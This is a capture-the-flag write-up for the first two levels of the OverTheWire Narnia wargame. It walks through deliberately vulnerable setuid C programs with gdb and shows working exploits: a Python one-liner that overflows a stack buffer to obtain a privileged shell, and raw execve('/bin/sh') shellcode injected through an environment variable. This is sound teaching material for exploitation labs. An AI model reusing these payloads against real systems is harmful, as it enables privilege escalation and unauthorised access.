overthewire / narina

Level 0

As per Narnia’s introduction page, we first ssh into the box (ssh narnia0@narnia.labs.overthewire.org -p 2226). The challenges are located in /narnia. Let’s take a look at the first one.

narnia0@narnia:~$ pwd
/home/narnia0
narnia0@narnia:~$ cd /narnia
narnia0@narnia:/narnia$ ls
narnia0    narnia1    narnia2    narnia3    narnia4    narnia5    narnia6    narnia7    narnia8
narnia0.c  narnia1.c  narnia2.c  narnia3.c  narnia4.c  narnia5.c  narnia6.c  narnia7.c  narnia8.c

This is the contents of the one we’re interested in:

#include <stdio.h>
#include <stdlib.h>

int main(){
        long val=0x41414141;
        char buf[20];

        printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
        printf("Here is your chance: ");
        scanf("%24s",&buf);

        printf("buf: %s\n",buf);
        printf("val: 0x%08x\n",val);

        if(val==0xdeadbeef)
                system("/bin/sh");
        else {
                printf("WAY OFF!!!!\n");
                exit(1);
        }
        return 0;
}                    

If we somehow get val to be equal to 0xdeadbeef, the programm will execute a /bin/sh. Because this program as the sticky bit set and is owned by narnia1, this would escalate our privileges:

narnia0@narnia:/narnia$ ls -l narnia0
-r-sr-x--- 1 narnia1 narnia0 7460 May 23 13:20 narnia0

From the source code we see that buf is located after val. This means that on the stack, overflowing buf (which is only 20 characters long) will cause it to start overriding val. Let’s examine this with gdb:

narnia0@narnia:/narnia$ gdb -q narnia0
Reading symbols from narnia0...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) dis main
warning: bad breakpoint number at or near 'main'
(gdb) break main
Breakpoint 1 at 0x8048500
(gdb) disass main
Dump of assembler code for function main:
   0x080484fd <+0>:     push   ebp
   0x080484fe <+1>:     mov    ebp,esp
   0x08048500 <+3>:     and    esp,0xfffffff0
   0x08048503 <+6>:     sub    esp,0x30
   0x08048506 <+9>:     mov    DWORD PTR [esp+0x2c],0x41414141
   0x0804850e <+17>:    mov    DWORD PTR [esp],0x8048630
   0x08048515 <+24>:    call   0x80483a0 <puts@plt>
   0x0804851a <+29>:    mov    DWORD PTR [esp],0x8048663
   0x08048521 <+36>:    call   0x8048390 <printf@plt>
   0x08048526 <+41>:    lea    eax,[esp+0x18]
   0x0804852a <+45>:    mov    DWORD PTR [esp+0x4],eax
   0x0804852e <+49>:    mov    DWORD PTR [esp],0x8048679
   0x08048535 <+56>:    call   0x80483f0 <__isoc99_scanf@plt>
   0x0804853a <+61>:    lea    eax,[esp+0x18]
   0x0804853e <+65>:    mov    DWORD PTR [esp+0x4],eax
   0x08048542 <+69>:    mov    DWORD PTR [esp],0x804867e
   0x08048549 <+76>:    call   0x8048390 <printf@plt>
   0x0804854e <+81>:    mov    eax,DWORD PTR [esp+0x2c]
   0x08048552 <+85>:    mov    DWORD PTR [esp+0x4],eax
   0x08048556 <+89>:    mov    DWORD PTR [esp],0x8048687
   0x0804855d <+96>:    call   0x8048390 <printf@plt>
   0x08048562 <+101>:   cmp    DWORD PTR [esp+0x2c],0xdeadbeef
   0x0804856a <+109>:   jne    0x804857a <main+125>
   0x0804856c <+111>:   mov    DWORD PTR [esp],0x8048694
   0x08048573 <+118>:   call   0x80483b0 <system@plt>
   0x08048578 <+123>:   jmp    0x8048592 <main+149>
   0x0804857a <+125>:   mov    DWORD PTR [esp],0x804869c
   0x08048581 <+132>:   call   0x80483a0 <puts@plt>
   0x08048586 <+137>:   mov    DWORD PTR [esp],0x1
   0x0804858d <+144>:   call   0x80483d0 <exit@plt>
   0x08048592 <+149>:   mov    eax,0x0
   0x08048597 <+154>:   leave
   0x08048598 <+155>:   ret
End of assembler dump.
(gdb) break *0x0804853a
Breakpoint 2 at 0x804853a
(gdb) run
Starting program: /narnia/narnia0

Breakpoint 1, 0x08048500 in main ()
(gdb) n
Single stepping until exit from function main,
which has no line number information.
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: DDDDDDDDDDDDDDDDDDD

Breakpoint 2, 0x0804853a in main ()
(gdb) x/16xw $esp
0xffffd710:     0x08048679      0xffffd728      0x0804a000      0x080485f2
0xffffd720:     0x00000001      0xffffd7e4      0x44444444      0x44444444
0xffffd730:     0x44444444      0x44444444      0x00444444      0x41414141
0xffffd740:     0x080485a0      0x00000000      0x00000000      0xf7e3bad3
(gdb) x/s 0xffffd720+8
0xffffd728:     'D' <repeats 19 times>

Couple of things first. The binary wasn’t compiled with debug symbols so gdb is running blind (hence the assembly). We break on entering main but also on 0x0804853a which is right after the call to scanf (which would have requested user input and copied it on the stack.

We see that our 19 D’s were successfully copied at address 0xffffd720+8 (each block is 4 bytes long). Note the null byte - 0x00444444. In C strings, or character arrays, are always terminated by a null byte. If we had written 20 D’s, we would have overflown.

As we’ll see that’s exactly what we want to do. We see that 0xdeadbeef is being compared with esp+0x2c (cmp DWORD PTR [esp+0x2c],0xdeadbeef). Let’s see what is at this address:

(gdb) p/x $esp+0x2c
$1 = 0xffffd73c
(gdb) x/wx $1
0xffffd73c:     0x41414141

This should be relatively straightforward:

narnia0@narnia:/narnia$ ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: AAAAAAAAAAAAAAAAAAAA
buf: AAAAAAAAAAAAAAAAAAAA
val: 0x41414100
WAY OFF!!!!

Now it turns out the box has Python installed. So let’s use that:

narnia0@narnia:/narnia$ python --version
Python 2.7.6
narnia0@narnia:/narnia$ python -c "print 'A'*20 + '\xad\xde'" | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAA��
val: 0x4100dead
WAY OFF!!!!

Note the byte order (we’re on a little indian machine). From there it’s easy to extrapolate:

narnia0@narnia:/narnia$ python -c "print 'A'*20 + '\xef\xbe\xad\xde'" | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ�
val: 0xdeadbeef
narnia0@narnia:/narnia$ whoami
narnia0

Mmm. So we managed to overwrite val but ‘nothing’ happened. It turns out the pipe (|) sends EOF once done, which closes the shell (system does not spawn a separate process). We need to find a way to hold it open whilst accepting user input. cat to the rescue:

narnia0@narnia:/narnia$ (python -c "print 'A'*20 + '\xef\xbe\xad\xde'";cat) | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ�
val: 0xdeadbeef
whoami
narnia1
cat /etc/narnia_pass/narnia1
*** password ***

Done!

Level 1

Along the same lines as the one above, this is the source code given to us:

#include <stdio.h>

int main(){
        int (*ret)();

        if(getenv("EGG")==NULL){
                printf("Give me something to execute at the env-variable EGG\n");
                exit(1);
        }

        printf("Trying to execute EGG!\n");
        ret = getenv("EGG");
        ret();

        return 0;
}

The aim is to store some special code (shellcode) into EGG which, when executed, will cause the program to give us a shell with escalated privileges.

Let’s take this through gdb for a better understanding:

narnia1@narnia:/narnia$ export EGG=$(printf '\x44\x44\x44\x44')
narnia1@narnia:/narnia$ gdb -q narnia1
Reading symbols from narnia1...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
   0x0804847d <+0>:     push   ebp
   0x0804847e <+1>:     mov    ebp,esp
   0x08048480 <+3>:     and    esp,0xfffffff0
   0x08048483 <+6>:     sub    esp,0x20
   0x08048486 <+9>:     mov    DWORD PTR [esp],0x8048570
   0x0804848d <+16>:    call   0x8048330 <getenv@plt>
   0x08048492 <+21>:    test   eax,eax
   0x08048494 <+23>:    jne    0x80484ae <main+49>
   0x08048496 <+25>:    mov    DWORD PTR [esp],0x8048574
   0x0804849d <+32>:    call   0x8048340 <puts@plt>
   0x080484a2 <+37>:    mov    DWORD PTR [esp],0x1
   0x080484a9 <+44>:    call   0x8048360 <exit@plt>
   0x080484ae <+49>:    mov    DWORD PTR [esp],0x80485a9
   0x080484b5 <+56>:    call   0x8048340 <puts@plt>
   0x080484ba <+61>:    mov    DWORD PTR [esp],0x8048570
   0x080484c1 <+68>:    call   0x8048330 <getenv@plt>
   0x080484c6 <+73>:    mov    DWORD PTR [esp+0x1c],eax
   0x080484ca <+77>:    mov    eax,DWORD PTR [esp+0x1c]
   0x080484ce <+81>:    call   eax
   0x080484d0 <+83>:    mov    eax,0x0
   0x080484d5 <+88>:    leave
   0x080484d6 <+89>:    ret
End of assembler dump.
(gdb) break* 0x080484ca
Breakpoint 1 at 0x80484ca
(gdb) r
Starting program: /narnia/narnia1
Trying to execute EGG!

Breakpoint 1, 0x080484ca in main ()
(gdb) p/x $eax
$1 = 0xffffd958
(gdb) p/x *$eax
$2 = 0x44444444

We first start by setting EGG to something we can easily recognise. The program loads the address of our environment variable (or more accurately the address of the contents) into eax. If we peak into what this address contains we see our payload. The next instruction (call eax) essentially invokes our payload. Given it doesn’t represent anything right now it won’t do much so let’s fix that.

I so happen to have some shellcode lying around. Writing shellcode is beyond the scope of this post though.

Let’s pop that into EGG and run the program again.

narnia1@narnia:/narnia$ export EGG=$(printf "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80")
narnia1@narnia:/narnia$ echo $EGG
1▒1ə▒▒̀j
       XQh//shh/bin▒▒▒▒
narnia1@narnia:/narnia$ ./narnia1
Trying to execute EGG!
$ whoami
narnia2
$ cat /etc/narnia_pass/narnia2
*** password ***

Easy peasy.